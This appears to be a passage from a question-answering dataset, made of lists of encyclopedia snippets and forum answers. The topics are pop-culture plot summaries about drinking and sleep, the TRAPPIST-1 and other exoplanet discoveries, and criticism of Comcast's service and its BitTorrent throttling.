poisoning.\nAfter Homer awakens, Dr. Hibbert tells him that the incident was not as bad as the night he first treated him for alcohol poisoning. Homer says it was the night that destroyed his marriage. Hibbert disagrees and plays a tape from the past of Homer's first alcohol poisoning. Marge says that she loves him in the tape. Marge appears and says she still does and they reconcile.\nYears later, an elderly Dr. Hibbert is watching the tape", "featuring vocals by Joe Seneca, Danny Colfax Mallon, Country Dick Montana, Esquerita, Jumpin' Gene Simmons, Skip & Flip (1961), The Jerms, and Skitzo. Lyrics The singer cannot get any sleep each evening, due to the sound of the music coming from the club. He tries to go there by knocking once on the green door, trying to tell the person behind the door that he had been there before, only to have the door slammed immediately (\"hospitality's thin there\"). Then, through the keyhole, he tries to say the possible secret password \"Joe sent me\" (the password for Hernando's Hideaway), which", "wakes up, Louise realises she had been drugged and begins a campaign to make students more aware of spiking. Dannii Carbone comes to Louise and asks how she would know if someone spiked her drink. Dannii then confesses that she had been raped by Andy. Twins Sophie and Mel Burton also admit to being raped. Louise then helps Dannii, Sophie and Mel through their ordeals and helps them to confess to the police.\nWhile on holiday with Mandy Hutchinson and Clare Cunningham in Hollyoaks: Back from the Dead, the three ladies eventually end up at a country house owned by Louise's", "pill to make him doze off immediately, but Jimmy snores so loudly that he keeps Barney awake. Barney puts a hose onto Jimmy's mouth and puts the other end in a tree outside his house to divert the noise. However, inside the tree, a sleeping striped wild cat is awakened by the noise, and angrily follows the hose, which the squirrel has now placed over Barney's mouth. The cat blows into the hose in revenge and inflates Barney into a balloon. Barney whooshes around the house before shrinking and landing in Jimmy's lap, who happily adopts him as a teddy", "Sergeant Fred Colon postulates that this was because Vimes' body didn't produce any \"natural alcohol\", and he estimates that Vimes was about \"two drinks below par\". This meant that when he hadn't been drinking, he was beyond sober - he was \"knurd\". Thus he saw reality as it really was (\"first sight\"); stripped of all the mental illusions that most people construct in their minds to get to sleep at night (\"second sight\"). This horrifying state of mind caused Vimes to try to balance it out through drinking, but he would get the dosage wrong and would just end up", "as the husband constantly leaves his wife alone at night; the reason – work, drinking with friends or an affair – is never specified. As the lonely nights begin to mount up, the wife, left to maintain in a three-bedroom home (or prison, as she puts it), observes that the \"gold turned cold in (her) wedding band.\" Eventually, with the need and desire for physical intimacy still very much alive in her, she turns to a stranger to meet her sexual needs (\"The arms of a stranger was the only place left to turn\").\nMcEntire's version changes the pronouns to place", "to, and the oaths we never keep,\n\n    And all we know most distant and most dear,\n\nAcross the snoring barrack-room return to break our sleep,\n\n    Can you blame us if we soak ourselves in beer?\n\nWhen the drunken comrade mutters and the great guard-lantern gutters\n\n    And the horror of our fall is written plain,\n\nEvery secret, self-revealing on the aching white-washed ceiling,\n\n    Do you wonder that we drug ourselves from pain?\n\nWe have done with Hope and Honour, we are lost to Love and Truth,\n\n    We are dropping down the ladder rung by rung,\n\nAnd the measure of our torment is the measure of our youth.\n\n    God help us, for we", "hallucinating, then denies the boys any sweets because he believes it's a \"set-up\". The boys respond to Eddie's actions by ramming a toy trident into his crotch. Meanwhile, Richie concocts a drink to cure Eddie of his DT's. Eddie faints after consuming the drink through his nose, and manages to knock Richie out with the trident still rammed in his crotch.\nRealizing that it is Halloween, Richie forms a plan; he and Eddie will go trick-or-treating to raise money for a party which will feature, in Richie's words, \"plenty of booze and jugged-up babes, shaggy-shaggy-shag!\" They go down to the local", "wane:\nI was loaded all the time... I'd wake up about 6:30 in the morning, take three aspirins mixed with codeine, slug down half a pint of vodka and then do four lines of cocaine. That was just so I could get the front door open to peek out and see if I could face the day... I would lie, steal and cheat, all those wonderful things that drunks do. I was crafty. Nobody knew how much I drank then. If a bottle was out on the counter, I'd take a swig when I passed it and quickly put it back.\n\"I", "is snoring\" in the title song Taming the Tiger. Her co-lyricist, Don Fried, had read of a competition in The New Yorker to write a story opening with \"It was a dark and stormy night\" and was inspired to put it in the song lyrics. Mitchell states \nBut the second line is a brilliant deviation from the cliché: \"Everyone was at the wing-ding.\" It's a beautiful out, but that was because it was competition to dig yourself out of a cliché hole in an original way. He never sent it in to The New Yorker, but he just did it", "Sleepless Nights (Never Let Her Go) Music video The music video shows a child, mother and father. The child wakes up in the middle of the night due to his parents fighting. The father gets mad over small things and usually directs his anger at his wife. Anytime the father yells, the child goes up to their room and watches in terror. He quickly manages to retreat back to his room before his father catches him. However, when he's finally caught, the father pins him to the wall and angrily tells him never to do it again. This finally results", "belly explodes, his innards splattering all over the room.\nRegarding the making of music video, Dave Williams said \"They rained on us for four hours straight and it was cold, man. We had to play in the mud. And we didn't sleep for, like, two days because we shot the thing from six at night until eight in the morning. We all got sick, but it was cool.\" and \"There are these scenes with a dominatrix and pit bulls and there are these fat guys exploding and a chick that's been laying in a tanning bed for too long and her", "alcohol in a person, thus rendering the individual sober no matter how much they drink; but since it feeds on alcohol it will grow larger in his stomach and kill him if he continues to drink. The only solution is to starve the tapeworm, but to do so invites painful withdrawals. If he can endure the withdrawal pains, the tapeworm will eventually be forced into a hibernation state, thus giving a measure of freedom to the host. But if he ever drinks another drop of alcohol the tapeworm will re-awaken and grow.\nAt home, Miley determines to starve the tapeworm. In", "the old woman, called Mrs. Taggart, bluntly announces they must leave because her son would not accept either of them. However, once Dick manages to communicate Mrs. Taggart agrees to let Anne stay in a remote loft whilst Dick makes do with sleeping in the barn.\nDuring the night, Dick is awakened by a voice in the night who calls his name repeatedly. He knows the voice cannot be from one of the Five and cannot understand how he would know his name. Dick is given a message - “Two Trees”. “Gloomy Water”. “Saucy Jane” “And Maggie knows” - together with", "Day Drinking Content \"Day Drinking\" is a mid-tempo song about not wanting to wait until later or needing a reason to have some drinks, so the song's narrator suggests they do a little \"day drinking.\" The song was written by three members of the band (Karen Fairchild, Phillip Sweet, and Jimi Westbrook) with Barry Dean and Troy Verges. Of the song's inception, Fairchild said: \"We didn't know it really, but with 'Day Drinking,' we had a blast that day because we were drinking and writing songs. We left it alone, then a couple of weeks later, Barry Dean and Troy", "are used for drinking mate by sucking into them), etc. Among young people, almost every word can be turned into mean \"dick\": -\"¿Me pasás el encendedor?\" -\"¡Acá tengo un encendedor para vos!\" (-\"Can you give me the lighter?\" -\"I have a lighter for you right here!\"). Concha / Chucha / Chocha Concha (lit.: \"mollusk shell\" or \"inner ear\") is an offensive word for a woman's vulva or vagina (i.e. something akin to English cunt) in Argentina, Chile, Ecuador, Paraguay, Peru, Uruguay and Mexico. In the rest of Latin America and Spain however, the word is only used with its literal", "Wake Up (Suicide Silence song) Music video The music video to the song \"Wake Up\" appears to be focused on a young woman experiencing an extreme LSD trip, and is contradicted by the lines \" Wake Up/ wake Up/ this is no hallucination\". The video consists of psychedelic displays and atmosphere whilst the band are performing and the woman's trip continues as frontman, Mitch Lucker tries to focus her out of it. As the video progresses and the guitar solo starts, the guitar seems to change into some kind of tentacle. The woman finally opens her eyes by the video's", "a sin into the eyes of God (Sin, stay gone), so that the couple tries to stay abstinent.\nHowever, he can't stop thinking about it, due to his frustration, loneliness (But I'm just so tired of this loneliness) or his manly needs taking over.\n(The night makes a fool of us in the daylight) signifies the regret when he's no longer in the state of drunken lust the next morning, and he realizes what he's done, or that the person who seemed to be attractive last night really isn't.\nChris Martin himself calls \"Yes\" a \"sexy\" song, \"written for another character\" and that", "fall asleep. I, too, lay awake, on the floor beside my sisters, my mother close by. Suddenly, the familiar voices of drunken men reached us. We all heard them ... These men, whom we all knew quite well, cried out: 'Abdellah, little girl, come down. Come down. Wake up and come down. We all want you. Come down, Abdellah. Don't be afraid. We won't hurt you. We just want to have sex with you.' ...\nI hoped my big brother, my hero, would rise and answer them ... But my brother, the absolute monarch of our family, did nothing. Everyone turned", "urinating in Lloyd's drink, which goes undetected by Lloyd). Eddie tells Luli that Lloyd and Glenda want to be alone, so he takes her to a bar. Eddie is interrupted while hustling pool by Luli, and when his hustle fails, the man that he was hustling makes a deal with Eddie on terms uncertain to the audience. The man then follows Luli into the bathroom and tries to rape her. She fights him before Eddie comes in and savagely beats the man to death.\nAs they leave the bar, Eddie says that Glenda has asked him to take Luli to a", "seven with the singer's target of choice in bed, and the husband replies that he's never seen so-and-so with a hard on before. Another version involves a carrot, on which a foreskin had never been seen before.\nLive versions of Sunday night include the following verse.\nAs I went home on Sunday night as drunk as drunk could be.I saw me wife inside the bed and this she said to me:\nThen, the song wraps up with a part from \"Never on a Sunday.\"\nAnother version exists with a slight twist. The man sees a man coming out the door at a little after", "Brooke had been drinking and explained she's lonely because all the men in her life have left her and she never had to go home without a man to sleep with. Deacon assured her she can always turn to him. Deacon stopped her from drinking and gave her some aspirins and water and left. Brooke put down the aspirins and drank some more alcohol.\nDeacon left to grab a bite to eat and ran into Brooke. He sat down with her who was drunk and he carried her to his car while she was embarrassing herself. They arrived at the Logan", "not normally associated with it is the hiccup. Hiccups are harmless and will diminish on their own; they also help to release gas that is in the digestive tract before it moves down to the intestines and causes bloating. Important but uncommon causes of abdominal bloating include ascites and tumors. Fiber Most cases of stomach bloating are due to improper diet. Gas occurs because of the bacteria in the colon and is a by-product of soluble fiber digestion. Inadequate or irregular intake of fiber and water will cause a person to experience bloating or constipation. The most common natural sources", "it while he sleeps but he wakes up and unsuccessfully tries to stop them. \nUsing Conor's sweater which he left with Ray to keep him warm while he slept, and had Conor's name on it, Ray gives chase to the boys. In the midst of celebrating their victory, Conor unknowingly snags the bag on barbed wire and rips it, so the cocaine slowly leaks out on the journey home until there is none left by the time they get back. The two fall out and Jock gets drunk and passes out, while Conor comes home and eventually patches things up", "sleep, but the Doctor calls for her husband Rory (Arthur Darvill) to come deal with her emotions when he realises that he picked up the wrong goldfish. \"Good Night\" The Doctor returns from another night out with River Song. Amy, wide awake and sitting in her nightie on the stairs, catches him. She convinces him to tell her what he does while he's out at night, then tells him why she is finding it hard to sleep lately because her life doesn't make any sense. Due to the events of \"The Big Bang\", she can remember two versions of her", "did [...] I generally just stuck to booze, although I got my first tast of hard drugs from those guys.\" This party lifestyle followed them into the studio, as Livermore recalled: \"If you've seen the [album] cover photo—a bleary-eyed band surrounded by a staggering array of bottles—you'll have some idea what the recording session looked like [...] I was tempted to say something as I helped unload cases of Budweiser along with the band's signature bass cabinet with its spray-painted slogan, 'THE QUEERS ARE HERE'. But I kept my mouth shut [...] Ben had the sense to go easy on" ]

[ "You got it right. 7 planets roughly Earth-sized (+ or - about 25%), 3 of them in what they think would be the habitable zone for life like we have on Earth. The star is an ultra-cool red dwarf, which is about 8-11% the size of our Sun, and has a surface temperature about 41% that of the Sun.\n\nBecause of how close they are to their star, the one furthest from the star has a year about as long as 20 of our days and the rest are shorter than that. Since they are so close, they expect all of them to be tidally locked, meaning the same side is always facing the star, similar to how our Moon always has the same side facing us.", "The star is a relatively small star which means that it doesn't emit as much heat as our Sun, but this also means that it will last a lot longer than our Sun. Because the star is relatively dim it is easier to see when a planet passes between that star in an orbit since the light reaching us from the star dims a little, if you keep watching the star and notice a pattern to the diming you can plot where planets are. For more on this - _URL_0_" ]

[ "the first planets orbiting a main-sequence star and which show signs of being terrestrial planets, were found: Gliese 876 d and OGLE-2005-BLG-390Lb. Gliese 876 d orbits the red dwarf Gliese 876, 15 light years from Earth, and has a mass seven to nine times that of Earth and an orbital period of just two Earth days. OGLE-2005-BLG-390Lb has about 5.5 times the mass of Earth, orbits a star about 21,000 light years away in the constellation Scorpius.\nFrom 2007 to 2010, three (possibly four) potential terrestrial planets were found orbiting within the Gliese 581 planetary system. The smallest, Gliese 581e, is only about 1.9", "Gliese 581b Discovery The planet was discovered by a team of French and Swiss astronomers, who announced their findings on November 30, 2005, as a discovery of one of the smallest extrasolar planets ever found, with one conclusion being that planets may be more common around the smallest stars. It was the fifth planet found around a red dwarf star (after Gliese 876's planets and Gliese 436 b).\nThe planet was discovered using the HARPS instrument, with which they found the host star to have a wobble that implied the existence of the planet.\nThe astronomers published their results in Astronomy and", "MOA collaboration on June 2, 2008. This planet has approximately 3.3 Earth masses and orbits a brown dwarf. It was detected by gravitational microlensing.\nIn June 2008, European researchers announced the discovery of three super-Earths around the star HD 40307, a star that is only slightly less massive than our Sun. The planets have at least the following minimum masses: 4.2, 6.7, and 9.4 times Earth's. The planets were detected by the radial velocity method by the HARPS (High Accuracy Radial Velocity Planet Searcher) in Chile.\nIn addition, the same European research team announced a planet 7.5 times the mass of Earth orbiting", "on no more than five other occasions between its discovery and that of Gliese 3634 b. It was included in the preliminary edition of the 3rd Gliese–Jahreiß catalogue, which documents stars within twenty parsecs of Earth.\nGliese 3634 has an apparent magnitude of 11.95. It cannot be seen with the naked eye. Orbit The planet has a very short orbital period, and circles its host star every 2.64561 days at a distance of 0.0287 AU. Gliese 3634 b has an eccentricity of 0.08, giving it a mostly circular orbit. In comparison, planet Mercury lies 0.387 AU from the Sun, orbits every", "large enough to make this discrepancy statistically insignificant. HD 215152 c also orbits further from the star than HD 215152 b, 0.0852 AU compared to 0.0652.\nOn 23 February 2017, NASA announced that ultracool dwarf star TRAPPIST-1 in Aquarius has seven Earth-like rocky planets. Of these, three are in the system's habitable zone, and may contain water. The discovery of the TRAPPIST-1 system is seen by astronomers as a significant step toward finding life beyond Earth. Deep sky objects Because of its position away from the galactic plane, the majority of deep-sky objects in Aquarius are galaxies, globular clusters, and", "team has discovered the most Earthlike planet yet\", said Michael Turner, assistant director for the mathematical and physical sciences directorate at the National Science Foundation, which supported the work. At the time of discovery, with 5.5 Earth masses, the planet was less massive than the previous candidate for lowest-mass exoplanet around a main-sequence star, the 7.5 Earth mass Gliese 876 d. Since 2013, many Earth-sized or smaller planets around main-sequence stars have been detected by the Kepler spacecraft and others. Host star OGLE-2005-BLG-390L (located in the constellation Scorpius, RA 17:54:19.2, Dec −30°22′38″, J2000, 6.6 ± 1.0 kpc distance) is", "the first extrasolar planet orbiting beyond 5 AU (55 Cancri d), and the first Neptune-sized planets (Gliese 436b and 55 Cancri e). Marcy was a Co-Investigator of the NASA Kepler mission that discovered over 4000 exoplanets, most being smaller than 4 times the size of Earth. His team, led by Erik Petigura and Andrew Howard, showed that approximately 20% of Sun-like stars have a planet of 1–2 times the size of Earth and receive incident stellar light within a factor of 4 of the light the Earth receives from the Sun, making them warm planets, many of which accommodate", "by William Borucki, of the agency's Ames Research Center, found five planets orbiting in the habitable zone of a Sun-like star, Kepler-62, 1,200 light years from Earth. These new super-Earths have radii of 1.3, 1.4, 1.6, and 1.9 times that of Earth. Theoretical modelling of two of these super-Earths, Kepler-62e and Kepler-62f, suggests both could be solid, either rocky or rocky with frozen water.\nOn 25 June 2013, three \"super Earth\" planets have been found orbiting a nearby star at a distance where life in theory could exist, according to a record-breaking tally announced on Tuesday by the European Southern Observatory.", "11% may be false positives.\nThere is at least one planet on average per star. About 1 in 5 Sun-like stars have an \"Earth-sized\" planet in the habitable zone, with the nearest expected to be within 12 light-years distance from Earth. Assuming 200 billion stars in the Milky Way, that would be 11 billion potentially habitable Earth-sized planets in the Milky Way, rising to 40 billion if red dwarfs are included. The rogue planets in the Milky Way possibly number in the trillions.\nThe nearest known exoplanet is Proxima Centauri b, located 4.2 light-years (1.3 pc) from Earth in the southern constellation of", "measurements.\nThe discovery of Gliese 3634 b was reported in the journal Astronomy and Astrophysics on February 8, 2011. Gliese 3634 b was the first planet discovered by the astronomers after adopting their new strategy, despite their failure to find a transit event for the planet.", "Kepler-1658b.\nThe first six weeks of data revealed five previously unknown planets, all very close to their stars. Among the notable results are one of the least dense planets yet found, two low-mass white dwarfs that were initially reported as being members of a new class of stellar objects, and Kepler-16b, a well-characterized planet orbiting a binary star. 2010 On June 15, 2010, the Kepler mission released data on all but 400 of the ~156,000 planetary target stars to the public. 706 targets from this first data set have viable exoplanet candidates, with sizes ranging from as small as Earth", "the star HD 181433. This star also has a Jupiter-like planet that orbits every three years. 2009 Planet COROT-7b, with a mass estimated at 4.8 Earth masses and an orbital period of only 0.853 days, was announced on 3 February 2009. The density estimate obtained for COROT-7b points to a composition including rocky silicate minerals, similar to the four inner planets of the Solar System, a new and significant discovery. COROT-7b, discovered right after HD 7924 b, is the first super-Earth discovered that orbits a main sequence star that is G class or larger.\nThe discovery of Gliese 581e with a", "Honghe (in Jiamusi), and Qingdao.\nThe Minor Planet Center credits the observatory, simply referred to as Nanking, with the discovery of 149 minor planets between 1955 and 1983, while the observatory's PMO NEO Survey Program is credited with more than 600 discoveries between 2006 and 2013. Discoveries The observatory discovered the periodic comets 60P/Tsuchinshan and 62P/Tsuchinshan, as well as the non-periodic C/1977 V1 (Tsuchinshan), also known as Comet 1977 X, and C/2017 E2. Many asteroids were also discovered, including the Trojan asteroids 2223 Sarpedon, 2260 Neoptolemus, 2363 Cebriones, 2456 Palamedes, and the eponymous 3494 Purple Mountain. Near-Earth object survey The Chinese", "estimate its radius to be 1.5 times that of Earth (R⊕). Since then Gliese 581d, which is also potentially habitable, was discovered.\nGliese 581c and d are within the habitable zone of the host star, and are two of the most likely candidates for habitability of any exoplanets discovered so far. Gliese 581g, detected September 2010, has a near-circular orbit in the middle of the star's habitable zone. However, the planet's existence is contested.\nOn 23 February 2017 NASA announced the discovery of seven Earth-sized planets orbiting the red dwarf star TRAPPIST-1 approximately 39 light-years away in the constellation Aquarius. The planets", "the discovery of WISE 0855−0714. It also holds several records: the nearest brown dwarf, the nearest L-type dwarf, and possibly the nearest T-type dwarf (if component B is of T-type). Proximity to Alpha Centauri Luhman 16 is the nearest-known star/brown-dwarf system to Alpha Centauri, located 3.577 ly (1.097 pc) from Alpha Centauri AB, and 3.520 ly (1.079 pc) from Proxima Centauri. This is due to both systems being located in neighboring constellations, in the same part of the sky as seen from Earth but Luhman 16 is a bit farther away. Before the discovery of Luhman 16, the Solar System was the nearest-known system", "astronomers at the University of Central Florida, using the Spitzer Space Telescope, strongly believed they had observed a second planet. This candidate planet was given the preliminary designation UCF-1.01, after the University of Central Florida. It was measured to have a radius of around two thirds that of Earth and, assuming an Earth-like density of 5.5 g/cm³, was estimated to have a mass of 0.3 times that of Earth and a surface gravity of around two thirds that of Earth. It orbits at 0.0185 AU from the star, every 1.3659 days. The astronomers also believe they have found some evidence", "July 2005. A previously discovered planet around a triple star system, 16 Cygni Bb, orbits a wide system, while HD 188753 Ab, if it exists, orbits a system where the stars in the system are very close to each other. Two years later, Eggenberger et al. stated that they had made observations with the necessary precision to detect the planet, but did not detect it.", "probe, is the first transiting exoplanet discovered around a Sun-like star. With a radius 2.4 times that of Earth, Kepler-22b has been predicted by some to be an ocean planet.Gliese 667 Cc, discovered in 2011 but announced in 2012, is a super-Earth orbiting in the circumstellar habitable zone of Gliese 667 C.\nGliese 163 c, discovered in September 2012 in orbit around the red dwarf Gliese 163 is located 49 light years from Earth. The planet has 6.9 Earth masses and 1.8–2.4 Earth radii, and with its close orbit receives 40 percent more stellar radiation than Earth, leading to surface temperatures", "a mass of at least 7 Earths. This planet, GJ 3634 b, became the first planet to be discovered under the new strategy. The team of astronomers then followed up with transit measurements using instruments on the Spitzer Space Telescope; they found that there was most likely no transit event present at the star, but they were able to discover its true mass. GJ 3634 b was published to the journal Astronomy and Astrophysics on February 8, 2011. Characteristics GJ 3634 is an M-type red dwarf, a cool, small and dim star that shines with reddish light. It lies in", "Earth-sized exoplanets to be discovered. Kepler-37 is another star with an exoplanet discovered by Kepler; the planet is the smallest known extrasolar planet known as of February 2013.\nIn April 2013, it was announced that of the five planets orbiting Kepler-62, at least two—Kepler-62e and Kepler-62f—are within the boundaries of the habitable zone of that star, where scientists think liquid water could exist, and are both candidates for being a solid, rocky, earth-like planet. The exoplanets are 1.6 and 1.4 times the diameter of Earth respectively, with their star Kepler-62 at a distance of 1,200 light-years.", "87.97 days, and has an orbital eccentricity of 0.2056. Discovery Gliese 3634 b was one of a sample of over 300 very-low-mass stars targeted by astronomers in search of planets that may orbit such stars. Using the High Accuracy Radial Velocity Planet Searcher (HARPS) at La Silla Observatory in Chile, six years of radial velocity data led the astronomers in the discovery of eleven other planets. After these discoveries, the astronomers chose to refocus their search on short-period planets, hoping to follow up after discoveries using the radial velocity method with a search for planets that also transited, or crossed", "581c (announced April 25, 2007) which at the time, was the most likely candidate for habitability of any extrasolar planet discovered so far. The planet was discovered by analyzing data obtained by the High Accuracy Radial Velocity Planet Searcher (HARPS) on the European Southern Observatory's 3.6 meter telescope at La Silla Observatory in Chile.\nHe was interviewed by Mat Kaplan on Planetary Radio. Udry described a new instrument known as the Echelle Spectrography for Rocky Exoplanet and Stable Spectroscopic Observations, dubbed ESPRESSO, might allow astronomers to detect Earth-like planets within five to ten years from 2010.\nAn upgraded HARPS, of which Udry", "Earth masses (see above). On 24 August, astronomers using ESO's HARPS instrument announced the discovery of a planetary system with up to seven planets orbiting a Sun-like star, HD 10180, one of which, although not yet confirmed, has an estimated minimum mass of 1.35 ± 0.23 times that of Earth, which would be the lowest mass of any exoplanet found to date orbiting a main-sequence star. Although unconfirmed, there is 98.6% probability that this planet does exist.\nThe National Science Foundation announced on 29 September the discovery of a fourth super-Earth (Gliese 581g) orbiting within the Gliese 581 planetary system. The", "with the more sensitive Green Bank Telescope did not show evidence of transmissions. Existence of undiscovered planets One study using the CAPSCam astrometric camera concluded that the TRAPPIST-1 system has no planets with a mass at least 4.6 MJ with year-long orbits and no planets with a mass at least 1.6 MJ with five-year orbits. The authors of the study noted, however, that their findings left areas of the TRAPPIST-1 system, most notably the zone in which planets would have intermediate-period orbits, unanalyzed.", "Upsilon Andromedae e Discovery This planet was discovered on November 22, 2010, but the discovery paper was not released until December 2. It was the fourth time in 2010 that a fourth planet has been discovered in a planetary system, the others being Gliese 876 e, HD 10180 e, and HR 8799 e; in no other year so far during the exoplanet era has more than one fourth planet been discovered.\nAstronomers originally thought that this planet could not exist because it would have made the planetary system unstable and would have been ejected. But in 2007, an island region of", "multiple planets orbiting the nearby star Lalande 21185 by George Gatewood. None of these claims survived scrutiny by other astronomers, and the technique fell into disrepute. Unfortunately, changes in stellar position are so small—and atmospheric and systematic distortions so large—that even the best ground-based telescopes cannot produce precise enough measurements. All claims of a planetary companion of less than 0.1 solar mass, as the mass of the planet, made before 1996 using this method are likely spurious. In 2002, the Hubble Space Telescope did succeed in using astrometry to characterize a previously discovered planet around the star Gliese 876.\nThe space-based", "at a distance of 0.1 AU (compared to Mercury's distance from the Sun, which is about 0.38 AU). The outer two planets in the system have orbital periods within one percent of the 8:5 and 3:1 resonances with Kepler-37b's period. Discovery Kepler-37b, along with two other planets, Kepler-37c and Kepler-37d, were discovered by the Kepler space telescope, which observes stellar transits. After observing transits of Kepler-37b, astronomers had to compare it with the size of the parent star.\nThe size of the star was obtained using asteroseismology; Kepler-37 is currently the smallest star to be studied using this process. This allowed", "of the Earth.\nSo, for Corot, due to the maximum duration of 6 months of observation for each star field, only planets closer to their stars than 0.3 Astronomical Units (less than the distance between the Sun and Mercury) can be detected, therefore generally not in the so-called habitable zone. The Kepler mission (NASA) has continuously observed the same field for many years and thus had the ability to detect Earth sized planets located farther from their stars.\nThe moderate number of exoplanets discovered by Corot (32 during the 6 years of operation), is explained by the fact that a confirmation should", "be imaged by the survey. After revising his predicted possible locations, Lowell conducted a second search from 1914 to 1916. In 1915, he published his Memoir of a Trans-Neptunian Planet, in which he concluded that Planet X had a mass roughly seven times that of Earth—about half that of Neptune—and a mean distance from the Sun of 43 AU. He assumed Planet X would be a large, low-density object with a high albedo, like the giant planets. As a result, it would show a disc with diameter of about one arcsecond and an apparent magnitude of between 12 and 13—bright enough to", "planet candidates in orbit around the star were announced. Characteristics Based upon parallax measurements with the Hipparcos astrometry satellite, Kapteyn's Star is 12.76 light-years (3.91 parsecs) from the Earth. It came within 7.00 light-years (2.15 parsecs) of the Sun about 10,800 years ago and has been moving away since that time. The star is between one quarter and one third the size and mass of the Sun and has a much cooler effective temperature at about 3500 K, with some disagreement in the exact measurements between different observers. The stellar classification is sdM1, which indicates that it is a subdwarf with" ]

[ "* They say 50 Mbps but actually give less than 20.\n\n* Jack up prices after a while.\n\n* Blatantly don't care about their customers.\n\n* Shitty customer service.\n\n* Don't have reliable gear.\n\nThe list goes on, _URL_0_" ]

[ "simultaneous users. Customers can opt out of providing Xfinity WiFi through either the Comcast website, or by installing a third-party router.\nComcast has received criticism for this practice, with critics arguing that the company was abusing customer resources (including bandwidth and electricity) to provide services for other customers, as well as concerns regarding security, and liability for actions performed by users while connected to these home hotspots; in 2014, a proposed class action lawsuit was filed in California, citing violations of the Computer Fraud and Abuse Act and similar state laws for these reasons. Comcast defended the service by stating that", "rather than from Comcast. This was through a partnership with Sandvine. This effectively blocks the user from making full use of BitTorrent. The controversy arises because Comcast is impersonating end users in terminating connections. Recently, a few Comcast users claimed to find temporary solutions for both Microsoft Windows and Linux systems by using a firewall to filter RST packets. This however was later revealed to be futile as it would have to be implemented on both ends—if the other end did not ignore the spoofed RST packet, the connection would be severed on the remote end.\nNow there is", "Several subscribers claimed that the company was interfering with their use of peer-to-peer networking applications. The Commission stated that it had jurisdiction over Comcast's network management practices and that it could resolve the dispute through negotiation rather than through rulemaking. The Commission believed that Comcast had \"significantly impeded consumers' ability to access the content and use the applications of their choice\", and that because Comcast \"ha[d] several available options it could use to manage network traffic without discriminating\" against peer-to-peer communications, its method of bandwidth management \"contravene[d] ... federal policy\". At this time, \"Comcast had already agreed to adopt a", "the network.\"\nComcast has implemented traffic shaping measures using Sandvine hardware which sends forged RST packets, disrupting the BitTorrent protocol. This has prevented some Comcast users from uploading, or \"seeding\" files they have downloaded via BitTorrent. Some Comcast users also may experience packet loss and latency, resulting in lag. This effect is most often noticed when dealing with time critical traffic in online gaming, and especially pronounced when such users host online games on ad-hoc networks (such as in Halo 3). This practice is becoming an increasingly common trend. The effects of packet loss and latency vary greatly depending on", "as FanDuel and Vox Media, for example. Criticism and controversy In 2004 and 2007, the American Customer Satisfaction Index (ACSI) survey found that Comcast had the worst customer satisfaction rating of any company or government agency in the country, including the Internal Revenue Service. The ACSI indicates that almost half of all cable customers (regardless of company) have registered complaints, and that cable is the only industry to score below 60 in the ACSI. Comcast's Customer Service Rating by the ACSI surveys indicate that the company's customer service has not improved since the surveys began in 2001. Analysis of the", "a leaked memo, Comcast employees were instructed to state that the policy is for \"Fairness and providing a more flexible policy to our customers\", and not for controlling network congestion.\nOn April 27, 2016, Comcast announced that it would raise its data threshold in trial markets to 1 TB by June 2016; the company stated that \"more than 99 percent of our customers do not come close to using a terabyte.\" The decision to raise the cap came following implication of increased scrutiny surrounding them by the FCC: in its approval of Charter Communications' purchase of Time Warner Cable, the Commission", "a rumor emerged among tech blogs that Comcast was throttling or even blocking internet traffic transmitted via the BitTorrent protocol. Comcast vehemently denied the accusations of blocking traffic, stating that \"Comcast does not, has not, and will not block any Web sites or online applications, including peer-to-peer services\", and that \"We engage in reasonable network management\". After more widespread confirmation that Comcast was throttling BitTorrent traffic, Comcast said it occasionally delayed BitTorrent traffic in order to speed up other kinds of data, but declined to go into specifics. Following the announcement of an official investigation by the FCC, Comcast voluntarily", "in the United States with over 22 million subscribers. This spurred the start of Comcast Advertising Sales (using AT&T's groundwork) which would later be renamed Comcast Spotlight. As part of this acquisition, Comcast also acquired the National Digital Television Center in Centennial, Colorado as a wholly owned subsidiary, now known as the Comcast Media Center. In 2003, Comcast became one of the original investors in The Golf Channel. After Excite@Home went bankrupt in October 2001, Comcast took over providing internet directly to consumers in January 2002. \nOn February 11, 2004, Comcast announced a $54 billion bid for The Walt Disney", "local-loop unbundling allows multiple companies to offer competing service over the same physical lines, current policy in the United States allows incumbent companies to maintain exclusive use of the telecommunications infrastructure that they own.\nIn advocating for their 2011 purchase of NBC Universal, Comcast did identify Time Warner Cable as a competitor and cited the nature of their competition as an argument for regulatory approval of that purchase. Internet At the end of 2013, Comcast and Time Warner Cable had about 20.7 million and 11.1 million internet subscribers, respectively. Together, the two companies would have controlled about two-thirds of the broadband", "Comcast Business Comcast Commercial Online On December 3, 1997, Comcast's subsidiary, Comcast Commercial Online Communications Inc., launched the Comcast Commercial Internet Service, offering internet services to businesses through a cable modem, with data sent over the @Home Network. On January 24, 2000, Comcast Commercial Online announced a partnership with click2send.com(TM), Inc. The stock of the @Home Network collapsed during the mid-2000 dot-com bubble, bankrupting @Home, and Comcast moved subscribers to their own network instead of selling though a third party. Comcast Telecommunications In January 1998, Comcast acquired GlobalCom Telecommunications Inc, re-branding it Comcast Telecommunications, Inc.. As of 1998, Comcast Telecommunications", "cable networks, one regional news cable station (New England Cable News), a whole bunch of websites, two pro sports teams in Philadelphia and two arenas, a food service vendor, a ticket agency, and four theme parks. And some other stuff.\" Impact on the video market One of the claims is \"Comcast would be able to use its vertically integrated position to deny rival distributors access to programming or to raise the cost of that programming\". Comcast-NBC will face two rival distributors – the satellite and telephone company and the new entrant. Of course, both of them are worrying about the", "the game).\nIn December 2015, research firm GfK estimated that 53% of the United States' pay television subscribers have used a TV Everywhere service—an increase from 42% in 2012, that overall use had doubled since 2012, and 79% of those surveyed found the login process easy. However, only 25% of those surveyed were aware of the term \"TV Everywhere\" or the CTAM logo, leading to the firm believing that consumer awareness and education was still a \"critical missing piece\" in the adoption of these services. Platform non-neutrality In 2014, Comcast was criticized for its decision to arbitrarily block access to HBO", "agreement with Level 3 Communications to carry its data. Shortly after, Level 3 entered a heated dispute concerning whether Level 3 would have to pay Comcast to bridge their respective networks, in an agreement known as peering. The disagreement continued as Netflix's current carrier, Cogent Communications, explicitly placed blame for Netflix bottlenecks on Comcast and several other ISPs. In February 2014, after rumors surfaced that Comcast and Netflix had reached an unspecified agreement, the companies confirmed that Netflix was paying Comcast to connect to its network. The details of the agreement are not public, and speculation disagrees about whether the", "rich media and other content without placing a high burden on the net, it was still unavailable to most Internet users. The CastGate project tried to fix this by allowing end users to connect through an automatically configured IP tunnel over networks which did not natively support IP multicast.\nThe idea was that if more users have multicast capability, more content providers would see the benefit of streaming content over 